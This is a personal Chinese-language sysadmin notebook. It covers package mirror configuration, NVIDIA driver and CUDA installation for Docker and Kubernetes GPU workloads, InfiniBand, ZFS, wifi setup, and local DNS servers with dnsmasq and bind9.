nvidiasmi_utilization_gpu
nvidiasmi_utilization_memory

磁盘
/usr/bin/stress-ng --io 5 --metrics-brief
node_filesystem_free_bytes / node_filesystem_size_bytes

dd if=/dev/zero of=file bs=1M count=20000

国内换源:

apt:

sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update

pip:

pip3 install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/
~/.pip/pip.conf(window下%HOMEPATH%\pip\pip.ini)        # pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
                                                        python3 -m pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
[global]
index-url = http://pypi.douban.com/simple
[install]
trusted-host=pypi.douban.com
临时使用:
    pip install some-package -i https://mirrors.aliyun.com/pypi/simple/

conda:

conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --set show_channel_urls yes
conda config --show-sources

docker:

/etc/docker/daemon.json
    "registry-mirrors":["https://expuzg6d.mirror.aliyuncs.com"]
systemctl restart docker

window
    https://cr.console.aliyun.com/
    https://expuzg6d.mirror.aliyuncs.com
    右键应用settings配置docker engine
        {
          "registry-mirrors": ["https://expuzg6d.mirror.aliyuncs.com"]
        }

npm:

npm --registry https://registry.npm.taobao.org install express  临时
npm config set registry https://registry.npm.taobao.org            永久使用

github:

暂无

nvidia驱动:

docker如何使用显卡:

apt-get install nvidia-container-runtime
window暂无nvidia-docker,但目前仅在Linux平台上支持,所以docker使用不了gpu

卸载:

sudo apt-get -y purge *nvidia*
apt-get remove --purge *nvidia-\*
apt -y autoremove
rm /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 (可以手动link)
dpkg -l | grep -i nvidia
dpkg --purge xxx    # 不一定清理干净,执行上面三步和下面的rmmod即可
关于/proc/driver/nvidia/version仍然显示
    cat /proc/driver/nvidia/version
    lsmod | grep nvidia
    rmmod nvidia   # 先移除依赖服务,如果提示in use需要kill进程或者重启

    rmmod不了的问题:
        发现大量irq/nvidia进程,kill -9 杀不掉,原因是图形界面用到的。
            systemctl set-default multi-user.target
            reboot 0
            systemctl set-default graphical.target
            reboot 0    
        方法二: 
            lsof -n -w  /dev/nvidia*查看哪个服务在占用,然后停掉
可能到这部,nvidia-smi等工具还能执行,lsmod查看内核模块仍然加载,那么执行:
    nvidia-uninstall(推荐)
    reboot 
    重启后查看内核mod确认

识别NVIDIA显卡型号
update-pciids          更新PCI ID database
lshw -numeric -C display
lspci | grep -i nvidia
查看nvidia驱动和NVRM版本
dpkg --list | grep nvidia-*
cat /proc/driver/nvidia/version
识别显卡模型和推荐的驱动程序    
apt install ubuntu-drivers-common
ubuntu-drivers devices
下载显卡驱动 
方法一:
    https://us.download.nvidia.com/XFree86/Linux-x86_64/304.88/NVIDIA-Linux-x86_64-304.88.run
    http://us.download.nvidia.com/XFree86/Linux-x86_64/440.82/NVIDIA-Linux-x86_64-440.82.run
    https://us.download.nvidia.com/XFree86/Linux-x86_64/450.66/NVIDIA-Linux-x86_64-450.66.run
    https://us.download.nvidia.com/tesla/410.104/NVIDIA-Linux-x86_64-410.104.run
    module-init-tools
    kmod
    gcc
    make
    sh NVIDIA-Linux-x86_64-430.26.run       # 可以直接
    卸载通过nvidia-uninstall比较干净
方法二: 
    apt-get install nvidia-384/nvidia-driver-440
方法三:
    ubuntu-drivers devices
    ubuntu-drivers autoinstall
方法四: 
    cuda run包自带driver,可以安装指定对应cuda版本的driver版本

测试运行:

distribution=$(. /etc/os-release;echo $ID$VERSION_ID) \
   && curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \
   && curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list
   && apt update 
apt-get install -y nvidia-docker2
docker run --runtime=nvidia --rm nvidia/cuda nvidia-smi   # 值得注意的是,配置default runtime后,docker run启动的容器能看到所有的卡,除非启动时-e NVIDIA_VISIBLE_DEVICES=none
    深究原因:
        这是因为镜像编译的Dockerfile指定了ENV NVIDIA_VISIBLE_DEVICES=all,docker run的时候能看到所有卡
        类似的,k8s启动pod的时候,
            1.如果resource指定了nvidia.com/gpu: 非0的数量,那么会携带环境变量NVIDIA_VISIBLE_DEVICES=xxx,这样容器内只能获取指定卡
                如果指定了NVIDIA_REQUIRE_CUDA,但安装不是相应的,比如只安装了cuda.run包,非apt方式,那么会导致pytorch等框架使用失败

            2.如果resource指定了nvidia.com/gpu: 0
                没有环境变量CUDA_VERSION,这个时候device-plugin才不会获取任何卡,smi以及驱动也不会拷贝
                有环境变量CUDA_VERSION
                    有变量NVIDIA_VISIBLE_DEVICES(none或all(pod和kfserving中表现不一样,pod不能看到,kfserving能看到所有卡)都一样)或NVIDIA_REQUIRE_CUDA,获取不了任何卡
                    没有变量NVIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,会获取所有卡   # 能看到所有卡的情况1
            3.如果没有指定nvidia.com/gpu: 0
                - 镜像自带环境变量NVIDIA_VISIBLE_DEVICES=all/none,那么pod看不到任何卡
                - 镜像不自带环境变量NVIDIA_VISIBLE_DEVICES,
                    镜像带有环境变量NVIDIA_REQUIRE_CUDA="cuda>=10.1 brand=tesla,driver>=384,driver<385 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411",不会挂载任何卡
                    镜像不带环境变量NVIDIA_REQUIRE_CUDA,默认挂载所有卡                 # 能看到所有卡的情况2
    重大bug:
        如果镜像没有环境变量VIDIA_VISIBLE_DEVICES或NVIDIA_REQUIRE_CUDA,那么会加载所有卡

    比较推荐的方法:
        yaml文件定义env,NVIDIA_REQUIRE_CUDA,但非0个gpu时,而且不是apt安装的方式,会导致推理框架使用不了。
        还是推荐dockerfile设置env NVIDIA_VISIBLE_DEVICES=none

NV_GPU=0 nvidia-docker run
docker run --rm --gpus all

容器内是否需要安装驱动:

目前看来只需要安装cuda即可,driver相关通过nvidia-docker这个runtime来处理,镜像不需要安装。

问题:

1. Failed to initialize NVML: Unknown Error需卸载干净再重新安装

2. smi提示[NOT SUPPORTED]

https://github.com/CFSworks/nvml_fix 
mv /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1.bak
make TARGET_VER=440.36
make install TARGET_VER=440.36 libdir=/usr/lib/x86_64-linux-gnu
# 如果不小心误删,可以删除干净lib后,再autoremove等卸载干净后然后重新安装
# 这时候还是Processes Not Supported,但GPU-Util等信息有了
# 影响:
    1.容器的自动挂载nvidia-smi等文件
    2.nvidia-device-plug的正常启动

3.job_exporter等容器要想使用nvidia-smi,因为libnvidia-ml.so.1文件变更,导致不能自动挂载libnvidia-ml.so.440.64

可以手动复制文件,或者容器内安装nvidia-smi(apt找不到)
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.1 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so -n kube-system
kubectl cp /usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 job-exporter-vv6pn:/usr/lib/x86_64-linux-gnu/libnvidia-ml.so.440.64 -n kube-system
4.问题NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.
禁用掉UEFI secure boot
5.提示Failed to initialize NVML: could not load NVML library.
确保依赖都安装好后,可以重新安装驱动试试

6.卸载不掉

nvidia-installer --uninstall

7.reboot后发现驱动没了

查看内核模型没有加载,dpkg已经安装相应的package
尝试使用modprode发现没有对应内核模块
内核自动升级了,而安装驱动的时候没有设置driver伴随内核升级.run --dkms

nvidia-docker安装:

需要添加源,不用FQ
curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -
distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list
sudo apt-get update

yes | sudo apt-get install -y nvidia-docker2

注意16.04需要额外安装apt install apt-transport-https

容器内的nvidia-smi和驱动如何来?
    启动容器时,必要的设备和驱动会自动挂载。但不包含cuda,需要自己安装。20.04发现gcc提示版本不对,18.04则可以   

    根据环境变量 NVIDIA_VISIBLE_DEVICES 判断是否会分配GPU设备,调用 nvidia-container-cli
    将Nvidia 驱动库的so文件 和 GPU设备信息, 通过文件挂载的方式映射到容器中。
    mount |grep nvidia-smi

命令介绍:
    run:必要的设备和驱动会自动挂载。
    build:同理,可以使用nvidia-smi,等同于--runtime=nvidia

CUDA对应的NVIDIA驱动版本
不同的cuda版本对应不同的NVIDIA驱动版本
查看cuda版本:
    nvcc --version
    cat /usr/local/cuda/version.txt
更新:
    sudo apt --purge remove "cublas*" "cuda*"
    sudo apt --purge remove libcudnn7 libcudnn7-dev libnccl2        # 卸载避免冲突

    wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-repo-ubuntu1804_10.1.243-1_amd64.deb
    sudo dpkg -i cuda-repo-ubuntu1804_10.0.130-1_amd64.deb      # cuda-repo-<distro>_<version>_<architecture>.deb
    sudo apt update
    sudo apt-cache showpkg cuda | grep 10.1
    sudo apt -y install cuda=10.1.243-1 - cuda-10-1

    或 
    wget https://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
    sudo dpkg -i nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
    sudo apt update
    sudo apt install libcudnn7-dev=7.6.3.30-1+cuda10.1  libcudnn7=7.6.3.30-1+cuda10.1 libnccl2=2.5.6-1+cuda10.1

    代理版:
        wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-ubuntu1804.pin
        sudo mv cuda-ubuntu1804.pin /etc/apt/preferences.d/cuda-repository-pin-600
        sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub 
        apt install software-properties-common
        sudo add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /"   # "deb http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/ /"
        sudo apt-get update
        sudo apt-get -y install cuda

        # 问题:往往会安装最新版本的driver驱动,导致nvidia-smi使用不了

    方法二(推荐):
        sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
        apt-get install -y libxml2 libstdc++6 gcc module-init-tools
        下载cuda_10.1.243_418.87.00_linux.run,sh执行,只勾选cuda-tool即可,下载页面:https://developer.nvidia.com/cuda-toolkit-archive
            sh cuda_10.1.243_418.87.00_linux.run --toolkit --silent
        wget http://developer.download.nvidia.com/compute/cuda/11.0.1/local_installers/cuda_11.0.1_450.36.06_linux.run
        wget https://developer.nvidia.com/compute/cuda/10.1/Prod/local_installers/cuda_10.1.105_418.39_linux.run
        wget http://developer.download.nvidia.com/compute/cuda/10.1/Prod/local_installers/cuda_10.1.243_418.87.00_linux.run
        注意对driver版本的要求
            https://docs.nvidia.com/cuda/cuda-toolkit-release-notes/index.html

        export PATH=/usr/local/cuda/bin:$PATH 
        export LD_LIBRARY_PATH=/usr/local/cuda/lib64

        识别不了的原因:
            关键启动环境变量:ENV CUDA_VERSION=10.1.243
            影响调度的环境变量:NVIDIA_VISIBLE_DEVICES,建议设置
            不能设置的变量:NVIDIA_REQUIRE_CUDA
    方法三:
        conda安装:
            conda install cudatoolkit=10.1
                          cudnn
        目前为止安装后找不到nvcc,torch识别不了

    方法四:
        可以参考dockerhub上的cuda镜像的dockerfile
        里面安装了cuda-compat-10-1等一堆cuda的package
            dpkg -i |grep cuda查看官方镜像安装的所有依赖,然后自己手动安装
            sed -i 's|https\?://[^/]\+/|http://mirrors.aliyun.com/|' /etc/apt/sources.list && apt-get update
            apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub 
            apt install software-properties-common
            add-apt-repository "deb https://mirrors.aliyun.com/nvidia-cuda/ubuntu1804/x86_64/ /"
            for i in cuda-compiler-10-1 cuda-cudart-10-1 cuda-cudart-dev-10-1 cuda-cufft-10-1 cuda-cufft-dev-10-1 cuda-cuobjdump-10-1 cuda-cupti-10-1 cuda-curand-10-1 
                cuda-curand-dev-10-1 cuda-cusolver-10-1 cuda-cusolver-dev-10-1 cuda-cusparse-10-1 cuda-cusparse-dev-10-1 cuda-driver-dev-10-1 cuda-gdb-10-1 cuda-gpu-library-advisor-10-1
                cuda-libraries-10-1 cuda-libraries-dev-10-1 cuda-license-10-1 cuda-memcheck-10-1 cuda-minimal-build-10-1 cuda-misc-headers-10-1 cuda-npp-10-1 cuda-npp-dev-10-1 
                cuda-nvcc-10-1 cuda-nvdisasm-10-1 cuda-nvgraph-10-1 cuda-nvgraph-dev-10-1 cuda-nvjpeg-10-1 cuda-nvjpeg-dev-10-1 cuda-nvprof-10-1 cuda-nvml-dev-10-1 cuda-nvprune-10-1 
                cuda-nvrtc-10-1 cuda-nvrtc-dev-10-1 cuda-nvtx-10-1 cuda-sanitizer-api-10-1;do apt install $i=10.1.243-1;done
            多gpu卡之间通信用的
                wget https://developer.download.nvidia.cn/compute/machine-learning/repos/ubuntu1804/x86_64/libnccl2_2.7.8-1+cuda10.1_amd64.deb
                wget https://developer.download.nvidia.cn/compute/machine-learning/repos/ubuntu1804/x86_64/libnccl-dev_2.7.8-1+cuda10.1_amd64.deb
        关键: 
            需要设置启动的环境变量
            FROM d15f7164655
            ENV CUDA_VERSION=10.1.243
            ENV CUDA_PKG_VERSION=10-1=10.1.243-1
            ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
            ENV NVIDIA_VISIBLE_DEVICES=all
            ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
            ENV NVIDIA_REQUIRE_CUDA=cuda>=10.1 brand=tesla,driver>=396,driver<397 brand=tesla,driver>=410,driver<411 brand=tesla,driver>=418,driver<419
            ENV NCCL_VERSION=2.7.8
            ENV NCCL_VERSION=2.7.8
            ENV LIBRARY_PATH=/usr/local/cuda/lib64/stubs 

    方法五:
        使用官方cuda镜像为基础,这个再安装pytorch、tensorflow等工具是可以使用gpu的

测试; 
    python3 -c "import torch;print(torch.cuda.is_available())"
    python3 -c "import torch;print(torch.cuda.device_count())"

    python3 -c "import tensorflow as tf;print(tf.test.is_gpu_available())"
        tensorflow框架可能会出现版本不对应导致使用不了的情况:failed call to cuInit: CUDA_ERROR_SYSTEM_DRIVER_MISMATCH: system has unsupported display driver / cuda driver combination
        1.容器内link的是容器内的driver版本的so文件,手动更改版本后出现failed call to cuInit: CUDA_ERROR_UNKNOWN: unknown error
        2.想安装低版本driver发现识别不了smi,docker run模型提示failed call to cuInit: CUDA_ERROR_NO_DEVICE: no CUDA-capable device is detected
        可能需要用新版本的框架,低版本用不了

    import torch.utils.cpp_extension
    torch.utils.cpp_extension.CUDA_HOME

问题:
    1.docker exporter虽然可以减小体积,但会导致torch.cuda.is_available()返回false
        用save即可
        可能与丢失了ENV环境变量有关

    2.容器内使用smi显示的cuda版本与nvcc的版本不一致
        原因: 
            CUDA 有两种API,分别是 运行时 API 和 驱动API,即所谓的 Runtime API 与 Driver API。
            nvidia-smi显示的是CUDA Driver API是依赖于 NVIDIA 驱动 安装的,而nvcc --version显示的CUDA Runtime API 是通过CUDA toolkit 安装的。

            此外,python3 -c "import torch;print(torch.version.cuda)"并不一定是 Pytorch 在实际系统上运行时使用的 cuda 版本,而是编译该 Pytorch release 版本时使用的 cuda 版本。

    3.dockerhub上的cuda:10.1镜像安装pytorch、tensorflow后能正常使用gpu,而手动安装cuda的镜像则用不了。两者都存在/usr/local/cuda-10.1/和/usr/local/cuda软链
        原因: 
            cuda:10.1镜像还在/usr/lib/x86_64-linux-gnu/目录下存在几个so文件,比如libcuda.so.440.33.01、libcuda.so.1等,手动移除后也不能检测gpu了。
            ls /usr/lib/x86_64-linux-gnu/libcuda* -la

            几个so文件的关系:
                libcuda.so -> libcuda.so.1 
                libcuda.so.1 -> libcuda.so.440.33.01
                libcuda.so.440.33.01
                libcuda.so.418.165.02           # 如果host和容器的cuda版本不对,会优先link到host的版本

                注意的是,这几个文件都是nvidia runtime帮忙从/usr/local/cuda-10.1/compat/以及host的本地复制到容器内/usr/lib/x86_64-linux-gnu/下的
                验证: 
                    docker run --runtime=runc -it --rm nvidia/cuda:10.1-devel-ubuntu18.04 bash
        解决: 
            如果镜像run前没有安装cuda,那么安装完cuda后保存一下镜像,然后再次启动。

    4.安装cuda10.1版本报错,而10.2版本则可以

    5.tensorflow等框架能识别gpu,但提示Could not create cudnn handle: CUDNN_STATUS_INTERNAL_ERROR
        场景:
            host上的cuda版本11.1,高于镜像内的10.1
        解决:
            from tensorflow.compat.v1 import ConfigProto
            from tensorflow.compat.v1 import InteractiveSession
            config = ConfigProto()
            config.gpu_options.allow_growth = True
            session = InteractiveSession(config=config)
        解决2
            安装对应版本的driver
        解决3
            export TF_FORCE_GPU_ALLOW_GROWTH=true

freenas连接:

iso启动盘安装后,登录网页设置
    https://jingyan.baidu.com/article/0bc808fcbb47125bd485b9c7.html
起nfs即可

InfiniBand卡
驱动下载:
    http://eg-server.cn.tnas.link/tos/index.php?share/file&user=%E6%9D%8E%E5%A0%82&sid=HmOolfKF
检查主机是否安装了HCA:
    apt-get install pciutils
    lspci -v | grep Mellanox
驱动安装: 
    mount -o ro,loop MLNX_OFED_LINUX-2.1-1.0.0-rhel6.4-x86_64.iso /mnt
    ./mlnxofedinstall
    缺少依赖的话,freenas不是linux系统,不能使用apt和yum
查看driver
    lsmod | grep ib
    modprobe ib_ipoib ib_umad           # 第一个负责加载interface,第二个负责ibstat
启动服务(不一定有该服务,只要内核模块加载就行)(安装OFED驱动才有)
    1、service openibd start
    2、systemctl enable openibd.service
    3、service opensmd start
    4、systemctl enable opensmd.service
查看HCA端口状态,若State为Active,则表示正常
    ibstat
重启网络接口ib0
    ifconfig ib0 10.200.0.5/24
    ifdown ib0
    ifup ib0
    ifconfig ib0
实际的使用方式和IPv4基本没有区别,如果想要集群之间通过IB通信只需要用IPoIB的地址就行。

docker方式:
    下载驱动,安装,然后挂载设备--cap-add=IPC_LOCK --device=/dev/infiniband/uverbs1或--privileged

开机自动配置:
    /etc/network/interfaces
        auto ens33
        iface ens33 inet static
        address 192.168.0.111
        netmask 255.255.255.0
        gateway 192.168.0.1

gcc驱动:

find / -name "libstdc++.so.*"

strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep CXXABI

ln -s libstdc++.so.6.0.22 libstdc++.so.6


时区设置
apt-get install systemd

timedatectl set-timezone UTC

timedatectl status    (容器内无法使用)

查看谁发的SIGKILL信号
安装很简单:sudo apt-get install auditd
  启动服务并查看状态: service auditd start & service auditd status
  然后通过auditctrl添加规则: auditctl -a exit,always -F arch=b64 -S kill -F a1=9
搜索ausearch -sc kill

ZFS工具使用:

安装:

sudo apt-get install zfsutils-linux

使用:

sudo zpool status
sudo zpool create -f xxx /dev/sdb /dev/sdc /dev/sdd        # 如果挂载中,会提示Device or resource busy
sudo zpool list
sudo zfs set mountpoint=/var/wwwfiles                    # 默认挂载路径是/files,可以自定义
sudo zfs set sharenfs="rw=@192.168.11.0/24" pool-name
sudo zpool add pool-name /dev/sdx
sudo zpool destroy pool-name

zpool add tank log ada3        # 小而快速的硬盘,用于slog,最新写入数据存储于此
zpool add tank log mirror ada3 ada4        # 多个log备份
zpool add tank cache ada3        # 读操作的缓存,频繁读取的

连接wifi
apt install wireless-tools
iwconfig
ifconfig wlp5s0 up
iwlist wlp5s0 scan | grep ESSID        # 查看wifi列表

apt install wpasupplicant
wpa_passphrase your-ESSID your-wifi-passphrase | sudo tee /etc/wpa_supplicant.conf
wpa_supplicant -c /etc/wpa_supplicant.conf -i wlp5s0
wpa_supplicant -B -c /etc/wpa_supplicant.conf -i wlp5s0        # 后台运行
dhclient wlp5s0            # 分配ip
ip addr show wlp5s0        # 查看ip 
dhclient wlp5s0 -r        # 释放ip

开机启动和固定ip查看https://www.linuxbabe.com/ubuntu/connect-to-wi-fi-from-terminal-on-ubuntu-18-04-19-04-with-wpa-supplicant
/etc/dhcp/dhclient.conf
固定的ip需要
    路由器lan设置-静态地址分配(主要作用?)
    dhclient设置好config
然后重试几次,才行(可能缓存,而通过dhclient wlp4s0立刻即可访问)

开机启动: 
    sudo cp /lib/systemd/system/wpa_supplicant.service /etc/systemd/system/wpa_supplicant.service
    sudo nano /etc/systemd/system/wpa_supplicant.service    # 修改start项
    sudo systemctl enable wpa_supplicant.service
    sudo nano /etc/systemd/system/dhclient.service          # 添加内容
    sudo systemctl enable dhclient.service

通过wifi登录卡
kubelet占用网络多

域名解析:

指定server来解析dns:

dig @10.96.0.10 www.baidu.com
nslookup www.baidu.com 10.96.0.10

# 地址不一定要ping的通,因为ping协议需要开通端口

k8s集群的coredns无法正常解析内网的dns域名问题
    依赖于host 127.0.0.53的systemd-resolved解析
    对于centos系统,可能没启动这个服务,本地没有监听127.0.0.53
        netstat -tul|grep 53

对于欧拉的centos,如何启动dns解析服务
    systemctl start systemd-resolved
    systemctl enable systemd-resolved

关于raw.githubusercontent.com在ubuntu解析为0.0.0.0:

1.查看/etc/hosts没有定义

2.发现dig @114.114.114.114解析正常,使用127.0.0.53则解析错误

3.ubuntu基于公司的路由器,登录路由器发现wan设置的首选DNS服务器为电信的202.96.134.133,怀疑是电信手动墙了,改为114.114.114.114后解析正常

关于/etc/hosts和/etc/resolv.conf的关系
    /etc/hosts里面的条目要想生效,/etc/resolv.conf的nameserver要用127.0.0.53 或者dig @127.0.0.53

    本地的dns解析进程systemd-resolved运行用户是systemd+,要确保systemd+有权限访问到/etc/hosts才行,否则条目不起效

nslookup与ping:

nslookup(选项)(参数)
    选项 -sil:不显示任何警告信息。
    参数 域名:指定要查询域名。
    包含authoritative answer与Non-authoritative answer,authoritative answer是DNS服务器返回的,Non-authoritative answer则是返回上次缓存的

ping命令用来测试主机之间网络的连通性。执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,
    因而得知该主机运作正常。
    使用ICMP(Internet Control Message Protocol)协议,而不是tcp或udp,没有端口
    有时候会返回Non-authoritative answer,从local DNS的cache获取到的结果

    数据库一般禁止掉ping,原因是
    设置:
        临时禁止PING的命令为:echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all(0允许)
        永久禁止PING配置方法:/etc/sysctl.conf 中增加一行 net.ipv4.icmp_echo_ignore_all=10允许)    修改完成后执行sysctl -p使新配置生效。

        防火墙禁止;iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP
              允许: iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
                     iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT

内网dns服务器搭建:

内置的system-resolved:

配置:
systemd-resolve --status查看
默认配置通过netplan的yaml文件来配置上游dns的
默认配置位置:/run/systemd/resolve/resolv.conf,dhclient或netplan生成。
使用:
默认/etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf由system-resolved维护
可以手动更改ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf

https://blog.csdn.net/yangxuan0261/article/details/74907034
https://www.jianshu.com/p/5082e44803e9

docker镜像方式:

1.docker pull andyshinn/dnsmasq
2.创建 域名映射ip文件 和 dns文件,用来挂载到容器中
3.运行
docker run -d \
    -p 192.168.1.102:53:53/tcp -p 192.168.1.102:53:53/udp \
    -v /home/wilker/Desktop/a_dns/my_dnsmasq_hosts:/etc/my_dnsmasq_hosts \
    -v /home/wilker/Desktop/a_dns/my_resolv.dnsmasq:/etc/my_resolv.dnsmasq \
    --cap-add=NET_ADMIN --name my_dns_server andyshinn/dnsmasq
4.docker exec -it my_dns_server /bin/sh
修改容器内文件vi /etc/dnsmasq.conf
addn-hosts=/etc/my_dnsmasq_hosts
resolv-file=/etc/my_resolv.dnsmasq
5.重启
docker restart my_dns_server
6.配置路由设置

host宿主机利用bind9方式:

apt install bind9
配置项:
    /etc/bind/named.conf.options: global DNS options
    /etc/bind/named.conf.local: for your zones
    /etc/bind/named.conf.default-zones: default zones such as localhost, its reverseand the root hints
修改/etc/bind/named.conf.options文件:
    forwarders {
        8.8.8.8;
        114.114.114.114;
    };
    dnssec-validation no;       # 关键点,因为本地创建的zone没有dnssec认证,无论是否定义了local配置
如果需要添加自定义解析,修改/etc/bind/named.conf.local文件:
    zone "example.com" {
        type master;
        file "/etc/bind/db.example.com";
    };
    zone "1.168.192.in-addr.arpa" {             # 局域网ip的倒序
        type master;
        file "/etc/bind/db.192";
    };
cp /etc/bind/db.local /etc/bind/db.example.com
cp /etc/bind/db.127 /etc/bind/db.192            # 命名规范
配置/etc/bind/db.example.com:
    ;
    ; BIND data file for example.com
    ;
    $TTL    604800
    @       IN      SOA     example.com. root.example.com. (
                                  2         ; Serial                # 每次改变zone文件,该数字需要增加
                             604800         ; Refresh
                              86400         ; Retry
                            2419200         ; Expire
                             604800 )       ; Negative Cache TTL

    @       IN      NS      ns.example.com.                         # 注意结尾有点号.,NS记录,必须指向A记录,用来定义ns.example.com是example.com的提供zone复制的servers
    @       IN      A       192.168.1.10                            # 这里替换为自己的局域网ip,添加一条A记录,将ip映射为hostname
    @       IN      AAAA    ::1
    ns      IN      A       192.168.1.10
配置/etc/bind/db.192文件:
    ;
    ; BIND reverse data file for local 192.168.1.XXX net
    ;
    $TTL    604800
    @       IN      SOA     ns.example.com. root.example.com. (
                                  2         ; Serial            # 每次改变zone文件,该数字需要增加
                             604800         ; Refresh
                              86400         ; Retry
                            2419200         ; Expire
                             604800 )       ; Negative Cache TTL
    ;
    @       IN      NS      ns.
    10      IN      PTR     ns.example.com.         # 注意要对应局域网ip的第四位,每在db.example.com添加一条A记录,都需要在db.192添加一条对应的PTR记录
重启服务systemctl restart bind9.service 
    bind服务可以通过本机器的所有网络接口的ip进行访问,比如192.168.1.18710.31.3.131这个ip都可以
    ss -tnl|grep 53查询:
        LISTEN   0        4096                                    127.0.0.53%lo:53                              0.0.0.0:*
        LISTEN   0        10                                           10.8.0.1:53                              0.0.0.0:*
        LISTEN   0        10                                         172.19.0.1:53                              0.0.0.0:*
        LISTEN   0        10                                         172.26.0.1:53                              0.0.0.0:*
        LISTEN   0        10                                         172.17.0.1:53                              0.0.0.0:*
        LISTEN   0        10                                         172.18.0.1:53                              0.0.0.0:*
        LISTEN   0        10                                      192.168.122.1:53                              0.0.0.0:*
        LISTEN   0        10                                        10.31.3.131:53                              0.0.0.0:*
        LISTEN   0        10                                      192.168.1.187:53                              0.0.0.0:*
        LISTEN   0        10                                          127.0.0.1:53                              0.0.0.0:*
        LISTEN   0        4096                                        127.0.0.1:953                             0.0.0.0:*
检测配置是否正确,比如点好是否写上:
    named-checkzone example.com /etc/bind/db.example.com
    named-checkzone 1.168.192.in-addr.arpa /etc/bind/db.192
允许recursion查询:
    acl "trusted" {
        192.168.1.0/24;
        10.8.0.0/24;
        127.0.0.1/32;
        ::1/128;
    };
    options {
        ...
        recursion yes;
        allow-recursion { trusted; };
    }

参考: 
    @指zone的name,example.com,可以通过$ORIGIN uk.example.com.改写@
    CNAME记录:对A记录的重命名,必须指向A记录 
    MX记录:   定义往哪发送邮件,必须指向A记录,而不是CNAME记录

bind9部署二级dns服务(高可用):

参考:https://ubuntu.com/server/docs/service-domain-name-service-dns,主要作用是当Primary不可用时,Secondary继续提供解析服务
在Primary server上修改配置/etc/bind/named.conf.local,然后重启
    zone "example.com" {
        type master;
        file "/etc/bind/db.example.com";
        allow-transfer { 192.168.1.11; };
    };
在Secondary server上安装bind9,配置/etc/bind/named.conf.local,然后启动即可
    zone "example.com" {
        type slave;
        file "db.example.com";
        masters { 192.168.1.10; };
    }; 
注意: 
    1.只会当Primary的Serial数字大于Secondary时候才会传递zone.
    2.zone改变时自动同步到Secondary
        配置到/etc/bind/named.conf.local:
            zone "example.com" {
                type master;
                file "/etc/bind/db.example.com";
                allow-transfer { 192.168.1.11; };
                also-notify { 192.168.1.11; }; 
            };

如何修改本机dns:

Ubuntu 16.04 及之前版本 配置静态IP  sudo vim /etc/network/interfaces
    auto eth0                  #设置自动启动eth0接口 eth0 根据实际情况名字不同 根据 ifconfig查看
    iface eth0 inet static     #配置静态IP
    address 192.168.11.88      #你的IP地址
    netmask 255.255.255.0      #子网掩码
    gateway 192.168.11.1       #你的网关
配置 DNS 服务器地址sudo vim /etc/resolv.conf   防止重启恢复vim /etc/resolvconf/resolv.conf.d/base
    nameserver 127.0.0.1 #记得加上
    nameserver 8.8.8.8 #当地dns服务器
    # 这个比较重要
sudo /etc/init.d/networking restart
nmcli dev show

Ubuntu 18.04 采用 netplan 作为网络配置管理,与16.04及之前的版本区别很大去掉文件 /etc/network/interfaces 中的所有配置
修改配置文件:sudo vim /etc/netplan/50-cloud-init.yaml:
network:
    ethernets:
        eth0:
            addresses:
            - 192.168.1.100/24
            gateway4: 192.168.1.1
            nameservers:
                addresses:
                - 192.168.1.114
                search:
                - corp.xxx.com
    version: 2

远程打开浏览器:

编辑/etc/ssh/sshd_config 
    X11Forwarding yes
    X11DisplayOffset 10
    X11UseLocalhost yes
登录ssh
    ssh -X 
查看状态:
    echo $DISPLAY
本地打开远程的浏览器:
    firefox


sed调度
参数介绍
    p 打印        示例sed -n "1,3p" sed_test.txt   sed -n "3,+2p" sed_test.txt  sed -n "2p;4,10p" sed_test.txt
    d 删除
    s 用一个字符串替换另一个字符串
    g 在行内进行全局替换
    i 替换时不区分大小写
